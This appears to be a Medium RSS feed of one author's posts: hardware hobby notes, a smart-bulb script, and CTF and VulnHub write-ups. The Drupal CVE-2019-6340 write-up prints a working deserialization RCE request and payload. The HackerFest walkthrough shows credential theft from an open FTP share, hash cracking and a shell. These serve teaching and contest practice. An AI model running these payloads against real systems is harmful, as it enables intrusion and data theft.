<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tushar Kulkarni on Medium]]></title>
        <description><![CDATA[Stories by Tushar Kulkarni on Medium]]></description>
        <link>https://medium.com/@roottusk?source=rss-4fce2a7b9b62------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*o6sJYdPFF5Gkuldh.</url>
            <title>Stories by Tushar Kulkarni on Medium</title>
            <link>https://medium.com/@roottusk?source=rss-4fce2a7b9b62------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 07:18:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@roottusk/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Nodes, Gateways and beyond.]]></title>
            <link>https://roottusk.medium.com/nodes-gateways-and-beyond-38c003f44e90?source=rss-4fce2a7b9b62------2</link>
            <guid isPermaLink="false">https://medium.com/p/38c003f44e90</guid>
            <category><![CDATA[lorawan]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[radio-frequency]]></category>
            <category><![CDATA[radio]]></category>
            <category><![CDATA[lorawan-gateway]]></category>
            <dc:creator><![CDATA[Tushar Kulkarni]]></dc:creator>
            <pubDate>Sat, 18 Oct 2025 03:20:56 GMT</pubDate>
            <atom:updated>2025-10-18T04:50:38.315Z</atom:updated>
            <content:encoded><![CDATA[<p>It’s been a while since I did anything with electronics, specifically embedded systems. During my master’s at IU, I had the option to choose an elective. Well aware of how scary “Reverse Engineering” seemed as a subject, I felt overwhelmed by assembly. But in one of the assignments, I managed to brute-force a way into firmware extracted via SPI. (This was a little achievement for me, especially as a WebAppSec person.)</p><p>A year before that, during the summer, I was at Defcon visiting the different villages. A person from the Embedded Systems village was distributing LoRaWAN modules. I was completely unaware of the technology at the time and told him so upfront, but he handed me the chip anyway.And in the true spirit of that moment, I’m not going to tell you much about what it is or what it’s used for. I’ll just let you explore that mystery on your own, just like I had to.</p><p>Ever since then, back at university, I was trying to interact with that original board, but it failed. I recently learned the mini PCIe to USB converter I ordered (twice!) didn’t work because it was never meant for that specific chip. To make things harder, I was unable to identify the chip I was working with because it didn’t have any labels — the metal shield was completely blank. I just couldn’t get it to work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mYlVznosJ3M5XDFZtVQpOQ.jpeg" /><figcaption>Metal Shield does not have a label</figcaption></figure><p>I finally got a setup to work (by buying new hardware). I now have a working Node, a Gateway, and a console. The node successfully sends small amounts of data (e.g., temperature from an MQ2 sensor) via the gateway to The Things Network.</p><p>Here is my current hardware setup.</p><p><strong>Hardware:</strong></p><ul><li><strong>Gateway:</strong> Raspberry Pi 3 B with an LR1302 Pi Hat and Concentrator chip.( <a href="https://www.elecrow.com/lr1302-lorawan-gateway-module-spi-us915-sx1302-long-range-gateway-module-support-8-channels.html">https://www.elecrow.com/lr1302-lorawan-gateway-module-spi-us915-sx1302-long-range-gateway-module-support-8-channels.html</a>)</li><li><strong>Node:</strong> Heltec ESP32 LoRa v3 Module</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*c7bwZcoYZP1XHCgjDk4KbQ.png" /><figcaption>Heltec Lora v3 Module with MQ2 Sensor</figcaption></figure><ul><li><strong>Sensor:</strong> MQ2 Sensor</li></ul><p>I knew I would need to register the Heltec LoRa v3 node as well. After a lot of searching, I found this GitHub repository: <a href="https://github.com/ropg/heltec_esp32_lora_v3">https://github.com/ropg/heltec_esp32_lora_v3</a>. This seems to be a working sketch for registering the Heltec LoRa v3 node with The Things Network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*awg048-17dsw9yH_Anit7w.png" /><figcaption>This is the gatway</figcaption></figure><p>(As an aside, you can also look into <a href="https://meshtastic.org/">Meshtastic</a>; it’s another cool firmware to run on these devices)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38c003f44e90" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Making Smart Bulbs sense and create Ambient Scenes]]></title>
            <link>https://roottusk.medium.com/making-smart-bulbs-sense-and-create-ambient-scenes-93ffe17db2a1?source=rss-4fce2a7b9b62------2</link>
            <guid isPermaLink="false">https://medium.com/p/93ffe17db2a1</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[home-automation]]></category>
            <category><![CDATA[smart-bulb]]></category>
            <category><![CDATA[movies]]></category>
            <category><![CDATA[iot]]></category>
            <dc:creator><![CDATA[Tushar Kulkarni]]></dc:creator>
            <pubDate>Mon, 13 Feb 2023 01:00:14 GMT</pubDate>
            <atom:updated>2023-02-13T01:33:13.715Z</atom:updated>
            <content:encoded><![CDATA[<p>Smart devices just make your life easier, you can just turn it on /off from anywhere using just your phones or web services. But that’s not the only thing they can do, devices like smart bulbs(colorful ones) can notify you with notifications with color change often called as ambient notifications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jb47UhAkU9aP7_oZxq68Pg.png" /><figcaption>Youtube Thumbnail</figcaption></figure><p>E.g. Its Snowing outside and the smart bulb color turns blue/white or its very sunny and it turns Bright yellow during your alarm.</p><p>You can also mix these up with your morning routines so you know whats the weather like outside and not forget to pick the choice of coat appropriate to the weather :)</p><p>I recently bought Kasa Smart Bulbs (TP Link) and I just loved controlling them with my phone. I wanted to do more , so I gave them steroids(a Python Program) and the result was amazing.</p><p>I found out that the smart bulbs can also be controlled through python libraries with devices on the same network i.e. with a Laptop having python installed on the same network as the smart bulbs.</p><p><strong>Requirements</strong></p><ol><li>Any Laptop with Python installed(Preferably Linux otherwise the following code needs to be tweaked)</li><li>Kasa Smart Bulbs along with Kasa library/SDK installed on the Laptop</li><li>A wifi network to allow communication between the laptop and the smart bulbs</li></ol><p>I won’t say I am a movie buff but I do enjoy watching movies and tv shows, so I made the smart bulbs sense two dominant colors from the movie/tv show that is running and adjust their color to that scene and I believe it turned out very well. I am still in the process to improve the code.</p><p>I used the following code to run a script in a linux OS where it uses pyautogui library to constantly take screenshot of the content displayed on the screen and then save the image in the folder.</p><p>Run the command kasa once on your terminal to get the IP addresses of your smart bulbs and put them in the script.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c28da89069579846e5d9f4e8cb24671b/href">https://medium.com/media/c28da89069579846e5d9f4e8cb24671b/href</a></iframe><p>I did face a challenge first because the smart bulbs use HSV system to change colors . HSV stands for Hue Saturation and Value . Whereas the colorthief library extracts RGB(Red,Green,Blue) colors , so I had to also convert the RGB color to HSV so the lights could understand the colors.</p><p>The Algorithm:</p><pre>initialize bulbs<br><br>while true:<br>  take screenshot<br>  save it in /tmp/<br>  extract colorpalette using colorthief library<br>  update the colors of smart bulbs in an asynchronous manner<br>  sleep for some time</pre><p>Want to check how it turned out ? You can watch the following video.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FzD7ziHKx3p4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DzD7ziHKx3p4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FzD7ziHKx3p4%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d9a5c5203354a4de011f24250e0c71bb/href">https://medium.com/media/d9a5c5203354a4de011f24250e0c71bb/href</a></iframe><p>Thanks for reading till the end :D !!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93ffe17db2a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Not so Blin D Rush CVE-2019–6340]]></title>
            <link>https://roottusk.medium.com/not-so-blindrush-cve-2019-6340-55d1e2a741ad?source=rss-4fce2a7b9b62------2</link>
            <guid isPermaLink="false">https://medium.com/p/55d1e2a741ad</guid>
            <category><![CDATA[drupal]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[winjactf]]></category>
            <category><![CDATA[appsec]]></category>
            <dc:creator><![CDATA[Tushar Kulkarni]]></dc:creator>
            <pubDate>Fri, 12 Mar 2021 10:46:30 GMT</pubDate>
            <atom:updated>2021-03-13T05:51:13.338Z</atom:updated>
            <content:encoded><![CDATA[<h3>Not so Blin D Rush CVE-2019-6340</h3><p>Hi Everyone,</p><p>It’s been a while since I posted. Hope you all are safe and sound.</p><p><a href="https://www.winja.site/">Winja CTF</a> is a Capture the Flag contest , hosted by <a href="https://nullcon.net/">Nullcon International Conference</a> , where I created several challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GOelRfBGxosYw9Pj.png" /></figure><p>One of the challenge that got left unsolved was <strong>Blin D rush</strong></p><p>Sorry if I put too much rabbit-holes (〒▽〒) . For the people looking for solution you can skip to challenge solution.</p><p>It revolved around the<em> </em><strong><em>CVE-2019–6340</em></strong> which is Drupal’s REST Module Remote Code Execution vulnerability. We’ll look into the cause of this vulnerability in this post and also the solution for the challenge ;)</p><p>For my other challenges <strong>JustWinThis</strong> and <strong>MD20</strong> You can refer already posted writeups by participants</p><h3>The CVE</h3><p>In short the Remote Code Execution happens due to insecure deserialization done by the REST API</p><h4>Insecure Deserialization</h4><p>In order to understand Insecure deserialization first understand what is serialization-deserialization.</p><p>Serialization is when an application/system takes an object and stores it in the stream of bytes and Deserialization is the reverse process i.e. converting stream of bytes into objects.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/0*fpaTXns-WiMcmJj_.jpg" /><figcaption>Source : <a href="https://portswigger.net/web-security/deserialization">https://portswigger.net/web-security/deserialization</a></figcaption></figure><p>Insecure deserialization happens when an user controllable data gets deserialized , especially if it’s in binary. In this case the REST API node endpoint of Drupal deserialises data directly from the User.</p><p><strong>Affected Versions </strong>: Drupal Versions &lt; 8.6.9</p><p><strong>Cause</strong> : Happens when REST Api , HAL and Serialization is enabled. So an attacker has to send a REST request with a serialized property , like the “options” value.</p><p><strong>Patch</strong> : Most Forums tell disabling POST, PATCH request as a remediation but this vulnerability can be exploited even through a GET request. Apart from that updating to the latest version of Drupal and disabling unnecessary API exposure could also prevent this.</p><h4>Challenge Solution</h4><p>By visiting the challenge URL we see a post made by user optimusprime . However a quick look at the favicon suggests it is running on Drupal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*t1a-NtoZTw862yt1" /><figcaption>Blog Post by Optimus Prime</figcaption></figure><p>A quick nmap banner grabbing or view source tells us that it is running Drupal 8</p><pre>nmap -p 80 -T4 -A host</pre><pre>Starting Nmap 7.80 ( https://nmap.org ) at DATE IST<br>Nmap scan report for host<br>Host is up (0.000058s latency).<br>Other addresses for localhost (not scanned): ::1</pre><pre>PORT   STATE SERVICE VERSION<br>80/tcp open  http    Apache httpd 2.4.41 ((Unix))<br>|_http-generator: <strong>Drupal 8</strong> (https://www.drupal.org)<br>| http-robots.txt: 22 disallowed entries (15 shown)<br>| /core/ /profiles/ /README.txt /web.config /admin/ <br>| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/ <br>| /user/password/ /user/login/ /user/logout/ /index.php/admin/ <br>|_/index.php/comment/reply/<br>|_http-server-header: Apache/2.4.41 (Unix)<br>|_http-title: Home | Cybertron<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose<br>Running: Linux 2.6.X<br>OS CPE: cpe:/o:linux:linux_kernel:2.6.32<br>OS details: Linux 2.6.32<br>Network Distance: 0 hops</pre><pre>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 17.92 seconds</pre><p>We can try and visit the blog post and the URL is website.com/node/1</p><p>In order to check whether it satisfies the preconditions for the CVE-2019–6340 We can check if the REST api is enabled and HAL is supported</p><p>We can try visiting website.com/node/1?_format=hal_json and we can observe it gives us the response.</p><p>Now we can run the exploit :</p><p><a href="https://www.exploit-db.com/exploits/46459">Offensive Security&#39;s Exploit Database Archive</a></p><p>OR</p><p>We can use <a href="https://github.com/ambionics/phpggc">phpggc</a> to generate a serialized payload to exploit</p><p>In order to exploit it manually we need to send JSON body as follows to the /node/1 endpoint with Conten-Type: application/hal+json</p><pre>{<br>  <strong>&quot;link&quot;</strong>: [<br>    {<br>      <strong>&quot;value&quot;</strong>: &quot;link&quot;,<br>      <strong>&quot;options&quot;</strong>: &quot;&lt;SERIALIZED_CONTENT&gt;&quot;<br>    }<br>  ],<br>  <strong>&quot;_links&quot;</strong>: {<br>    <strong>&quot;type&quot;</strong>: {<br>      <strong>&quot;href&quot;</strong>: &quot;http://website.com/rest/type/shortcut/default&quot;<br>    }<br>  }<br>}</pre><p>The serialized content can be generated by using <a href="https://github.com/ambionics/phpggc">phpggc</a></p><pre>phpggc guzzle/rce1 system id --json</pre><pre>O:24:\&quot;GuzzleHttp\\Psr7\\FnStream\&quot;:2:{s:33:\&quot;\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\&quot;;a:1:{s:5:\&quot;close\&quot;;a:2:{i:0;O:23:\&quot;GuzzleHttp\\HandlerStack\&quot;:3:{s:32:\&quot;\u0000GuzzleHttp\\HandlerStack\u0000handler\&quot;;s:2:\&quot;id\&quot;;s:30:\&quot;\u0000GuzzleHttp\\HandlerStack\u0000stack\&quot;;a:1:{i:0;a:1:{i:0;s:6:\&quot;system\&quot;;}}s:31:\&quot;\u0000GuzzleHttp\\HandlerStack\u0000cached\&quot;;b:0;}i:1;s:7:\&quot;resolve\&quot;;}}s:9:\&quot;_fn_close\&quot;;a:2:{i:0;r:4;i:1;s:7:\&quot;resolve\&quot;;}}</pre><p>We can look at the end of the response that our exploit was successful</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*orruUO4elefyQZX3fM9Dtg.png" /><figcaption>The function unserialize() gets triggered code is executed</figcaption></figure><p>Now we can try to list the root directory and see if we can get something , We can generate the payload again for “ls” command but observing the pattern we can see all we have to give is the size of the string i.e. length of the whole remote command to be executed , so we can directly edit the serialized content.</p><p>We can replace</p><pre>s:2:\”id\”</pre><p>with</p><pre>s:4:\”ls /\”</pre><p>Because the length of “ls /” would be 4 , and we can send the request now and see that we can list the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*0p1rDr-0yWZIwN7LhnvXWA.png" /><figcaption>Contents of / directory</figcaption></figure><p>Likewise we can now try to print the flag by running “cat /flag.txt” and that gives us our flag .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9TCcab0horHMJl-EyLjMnQ.png" /><figcaption>flag{blindrush_s@m_witwicky_is_0ur_l@st_h0p3}</figcaption></figure><p>Thanks for reading! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55d1e2a741ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Helping Zelda Capture Flags-Nullcon HackIM 2020]]></title>
            <link>https://roottusk.medium.com/helping-zelda-capture-flags-nullcon-hackim-2020-f2480099cc3c?source=rss-4fce2a7b9b62------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2480099cc3c</guid>
            <category><![CDATA[hackim]]></category>
            <category><![CDATA[gamehacking]]></category>
            <category><![CDATA[nullcon]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tushar Kulkarni]]></dc:creator>
            <pubDate>Sun, 09 Feb 2020 19:53:49 GMT</pubDate>
            <atom:updated>2020-02-10T17:34:54.186Z</atom:updated>
            <content:encoded><![CDATA[<p>Writeup for all the Zelda Challenges in Nullcon’s HackIM 2020</p><p>Note: Everyone must have solved this differently ,Telling my method here</p><h4><strong>1. Zelda and the Zombies</strong></h4><p>The Binary/Game for all the first three challenges was same so we had to find all first three flags in the same game only.</p><p><strong>Task</strong> : Kill any NPC to get the flag</p><p>So initially the game has 5 zombies attacking you whose life is shown at the Top Left corner.Their life gets decreased in two cases</p><ol><li>When They come in contact with Zelda</li><li>When Zelda Fires using sword.</li></ol><p><strong>Solution </strong>:</p><p>Step 1 :Open Cheat Engine , As soon as the game starts ,Scan for unknown initial value</p><p>Step 2 :Now let the zombie come near you or attack any zombie</p><p>Step 3 :Go to a Safe Place Where they can’t touch you,Scan for a decreased Value and Repeatedly scan for unchanged value Since they dont have contact to you</p><p>Step 4 : Goto Step 2 Until the Values you get in Cheat engine are less than equals 5 (Since there are 5 zombies)</p><p>Step 5 :Now you have life of Zombies Just edit it to <strong>1100000000 </strong>which would make the life of Zombie 18.8</p><p>Now go and kill some zombie you get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XaqKAC7majoj-OBdDN2SXg.png" /><figcaption>Fig.Flag 1</figcaption></figure><p><strong>Flag : </strong>REVOLUTIONSTARTSWITHME</p><h4><strong>2. Zelda at the Swamp</strong></h4><p><strong>Task </strong>: Make Zelda reach the Flag in a restricted area which is a pond.Now ,I tried too many things for this challenge but wasn’t able to get the flag one is by changing the Zelda’s Y Axis When we reach near the pond.</p><p>It led me to this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*I7ortQG6LEsTSmuyXy2s3A.png" /><figcaption>Fig 2.Failed Attempt</figcaption></figure><p><strong>Solution </strong>: This was an ingenious solution suggested by my brother after observing the game.Since we get thrown away when we come in contact with Zombie</p><p>Go Near the Pond Where It looks like land area ,Make sure a Zombie is following you Come near the zombie is such a way that you get thrown back to that entry area of the pond so the Zombie throws you into the pool.Hence you get thrown away to the Flag location.Thus we get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X-5mSvORzK1_2tk8eL0R8w.png" /><figcaption>Fig 3. Flag 2</figcaption></figure><p><strong>Flag </strong>: BENDTHERULES42PIRATE</p><h4><strong>3. Zelda crossing the land’s end</strong></h4><p><strong>Task </strong>: Make Zelda cross the land’s end i.e. again Make him explore the unrestricted area that usually the character can’t explore .Here X and Y Axis of Player come handy.</p><p><strong>Solution </strong>:</p><p>Step 1 :Open Cheat Engine , As soon as the game starts ,Scan for unknown initial value</p><p>Step 2 : Move Up and Scan for Increase Value , Move Down Scan for decreased value .Dont move and repeatedly Scan for unchanged value.Do this step until we get less than 40–50 values.</p><p>Step 3 : Since number used as the position of player is something like this 1120391929 try changing 203 part by increasing decreasing .If the player position changes we got the exact Y Axis .Save it.Similarly Find X-Axis value by moving left and right.</p><p>Step 4 :Go to the Castle walls ,Increase the Y Axis value and thus you’re out of the land .Reach Extreme up and follow a trail.Thus you reach to the final flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*fp9tem5ohifDN72U4Y_a2w.png" /><figcaption>Fig 4.Flag 3</figcaption></figure><p><strong>Flag </strong>: EXPLORERFORLIFE</p><h4><strong>4. Zelda in space</strong></h4><p><strong>Task </strong>: Now that all land challenges are over .Zelda is sent to space Where there are 6 buttons .Going through each button generates a keyword in top left cornet such as pepper , salt etc.We have to correctly generate the sequence and Reach final destination to get the flag</p><p><strong>Solution </strong>: Now for this challenge I used DNSpy.It is .NET Debugger Utility.</p><p>Open DNSpy Open all Managed&gt;Data files of the game</p><p>Search for pepper or salt in all files and boom you get code used in checkpoints</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*REZwyj6g_oR-qOahMj3ThA.png" /><figcaption>Fig 5.Checkpoint Check code</figcaption></figure><p>By looking at it we can see that not just the sequence of all pepper/masala etc. But the string “final” would also get added to the proper sequence.</p><p>Now just above it in the Project Explorer of DNSpy is PlayerAttrs class.Clicking on it We get the whole code for decryption as follows :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gWediVQzf9Ya3TLHLaW_qw.png" /><figcaption>Fig 6.Decrypt Code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h2vGoGFDFn008HjSEdFeZg.png" /><figcaption>Fig 7. Additional Data</figcaption></figure><p>So the Cipher Text is <strong>pI0gDg911A3Qcf++L3rvfkwIEkXsg4jq6pwOHMgG1VlpPuE9t4eljr4fQvXUa9bMJN4TL+DzQoj8aHTe1sNt+y5FND+gqn04OOltMhv/sms=</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*Z0sYqymB22cYPhWcAjhKww.png" /><figcaption>Fig 8. Additional “0” String</figcaption></figure><p>Moreover the above block tells you one more thing that string “0” would also be added to the key.</p><p>So now that we have all the ingredients and start and end token of the key in the decrypt function.</p><p>One thing you can do is Copy the whole code, Make some changes ,Write a Main method Where you try all permutation of</p><p>pepper<br> salt<br> chilly<br> pickles<br> oregano<br> masala</p><p>Append every permutation in between “0” and “final” ,Give it as a key to Decrypt function and watch what output comes.</p><p>Following is the code with correct permutation.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/dee54d8b504ae3e4a5c60ff1c52f1061/href">https://medium.com/media/dee54d8b504ae3e4a5c60ff1c52f1061/href</a></iframe><p>This way we are able to find the flag</p><p><strong>Flag</strong> : hackim20{z3lda_s0lved_the_sp4ce_puzzl3}</p><p>Thats it!</p><p>Shout out to <a href="https://medium.com/u/554053e80668">Aneesh Dogra</a> for all the challenges.</p><p>Challenges can be found here: <a href="https://drive.google.com/file/d/1W_KJhSn6wTQiUYBNY5xhmbseJXC0l2Up">https://drive.google.com/file/d/1W_KJhSn6wTQiUYBNY5xhmbseJXC0l2Up</a></p><p>Thanks for reading :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2480099cc3c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackerFest 2019 Walkthrough]]></title>
            <link>https://roottusk.medium.com/hackerfest2019-writeup-331cf1923473?source=rss-4fce2a7b9b62------2</link>
            <guid isPermaLink="false">https://medium.com/p/331cf1923473</guid>
            <category><![CDATA[box-solving]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Tushar Kulkarni]]></dc:creator>
            <pubDate>Tue, 19 Nov 2019 18:56:32 GMT</pubDate>
            <atom:updated>2019-11-22T05:31:45.157Z</atom:updated>
            <content:encoded><![CDATA[<p>Box Name : Hackerfest 2019</p><p>Source : VulnHub</p><p>Difficulty : Easy</p><h3><strong>Recon</strong></h3><p>First I ran the following command :</p><p>nmap -sV -sC -oA -F 192.168.0.110</p><p>Here 192.168.0.110 was the ip of the box hosted in the VM.After scanning we get the following result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*VuTH6uXKbmkRU1XIkfOenA.png" /><figcaption>Fig.1 Nmap Scan</figcaption></figure><p>I saw an http service is running on port 80.Tried visiting the page and got a webpage hosted as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C_LkwmGG9MBHUjCJ340vkw.png" /><figcaption>Fig.2 Website Homepage</figcaption></figure><p>A quick view at the page source revealed that it is a wordpress site.Now the real point is the wordpress site might be having a lot of plugins.Most of which are vulnerable.</p><p>I ran a “wpscan ”on the host , didn’t get much that could be exploited or maybe it was a rabbit hole .The other information that I got from the recon is that the ftp service is running on port 21.</p><p>I didn’t really have to try and access because as soon as I entered the address with ftp protocol prefix(ftp://).I got to know it was an unauthenticated one.</p><p>BOOM!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5S00e0sjGLsfXnfsEAsQsA.png" /><figcaption>Fig.3 Wordpress Files through FTP</figcaption></figure><p>After some search I learnt I should go for wp-config.php file ,which consists the credentials used to make a DB connection Ofcourse maximum sites need a DB or Should I say:</p><blockquote>“ Vulnerable sites need a DB ”</blockquote><p>Think about it :-P</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*zpOLKxZZfPqjkaD_FLlQ_w.png" /><figcaption>Fig.4 wp-config.php source</figcaption></figure><p>I logged in through /phpmyadmin portal and went to the users table and found one user.But the password was a hash (A WP I guess).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TMqX3R737HRlh-Rh0vdgWw.png" /><figcaption>Fig.5 PHPMyAdmin Portal</figcaption></figure><h3>Cracking</h3><p>So I used JTR(John the Ripper) to crack it through existing rockyou.txt password list and got the password to the user of the Wordpress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/1*FTAB2MJ0Bu0tscA2vZ_wXA.png" /><figcaption>Fig.6 John The Ripper</figcaption></figure><p>Now ,there is an auxiliary exploit available in Metasploit which lets to gain a meterpreter shell through Wordpress credentials by uploading a shell on its own.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QV7TuoWYlj2vbAwe5F78VQ.png" /><figcaption>Fig.7 Metasploit Console</figcaption></figure><p>After gaining Meterpreter shell we escalate privileges</p><blockquote>meterpreter&gt;python -c ‘import pty;pty.spawn(“/bin/bash”)’</blockquote><p>You can find alternative methods here : https://guif.re/linuxeop</p><p>Thats it.Read the /root/flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HdWybgXDYKPOS3A2skioKw.png" /></figure><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=331cf1923473" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pico CTF 2018 : Caesar Cipher 2 Writeup]]></title>
            <link>https://roottusk.medium.com/pico-ctf-2018-caesar-cipher-2-writeup-1a3d8bfc3169?source=rss-4fce2a7b9b62------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a3d8bfc3169</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[Tushar Kulkarni]]></dc:creator>
            <pubDate>Sat, 13 Oct 2018 03:08:54 GMT</pubDate>
            <atom:updated>2018-10-13T03:34:01.688Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pico CTF 2018: Caesar Cipher 2 Writeup</h3><h3>Points : 250</h3><h4>Cipher Text : 4-’3evh?’c)7%t#e-r,g6u#.9uv#%tg2v#7g’w6gA</h4><p>The Pico CTF was held this month with lots of sec challenges in it.One challenge that was really solved from scratch by me was this</p><p><strong>Caesar Cipher 2</strong> .</p><p>A string was given which was supposed to be a ciphertext …..wait not just a normal cipher text but a cipher text involving special characters as well<br> The reason I had to solve it from scratch is because I couldnt find any online service to decipher it with ROTation of more than 25 …LEL …</p><p><strong>Hint : ASCII</strong></p><p>of course the Cipher text contained special characters so ASCII table was used for enciphering the flag.</p><p>As seen in the cipher text we do not see any characters from ASCII range 1 to 32 i.e. NULL etc.</p><p>So the best guess is it is using characters from</p><p><strong>! (Exclaimation) whose ASCII value is 33</strong></p><p><strong>to</strong></p><p><strong>~ (Tilde) whose ASCII value is 126</strong></p><p>That is the total characters used are <strong>94</strong></p><p>Here is a simple program to try all possible shifts with the cipher text until we get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RWzX2SHgM6w8aXozQlySaQ.png" /><figcaption>Caesar Cipher with ROT more than 26</figcaption></figure><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e91edff3a352c9a3506cc2473d10011b/href">https://medium.com/media/e91edff3a352c9a3506cc2473d10011b/href</a></iframe><p>After running it we can see the 60th Rotation has the flag in it . :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*66jFj9UYgLRJ-e_Jlxx4Cg.png" /><figcaption>Output of the program</figcaption></figure><p>Hence the Flag was : <strong>picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}</strong></p><p>Thank you for reading.</p><p><strong>Follow me on Twitter : </strong><a href="http://twitter.com/vk_tushar"><strong>@vk_tushar</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a3d8bfc3169" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>